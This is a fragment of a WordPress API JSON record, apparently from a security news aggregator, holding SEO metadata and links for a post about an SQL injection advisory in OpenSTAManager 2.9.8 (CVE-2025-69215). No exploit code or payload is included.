redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=46310","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-13T15:50:03&#8243;,&#8221;description&#8221;:&#8221;OpenSTAManager versions 2.9.8 and below suffer from a remote SQL injection vulnerability in the Stampe module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-13T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:218750&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-69215&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-69215: OpenSTAManager has an SQL...","og_url":"https:\/\/zero.redgem.net\/?p=46310","og_site_name":"zero redgem","article_published_time":"2026-04-13T11:50:34+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=46310#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=46310"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750","datePublished":"2026-04-13T11:50:34+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=46310"},"wordCount":2229,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.8","exploit","HIGH","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=46310#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=46310","url":"https:\/\/zero.redgem.net\/?p=46310","name":"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-13T11:50:34+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=46310#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=46310"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=46310#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 OpenSTAManager 2.9.8 SQL Injection_PACKETSTORM:218750"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/46310","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=46310"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/46310\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=46310"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=46310"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=46310"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}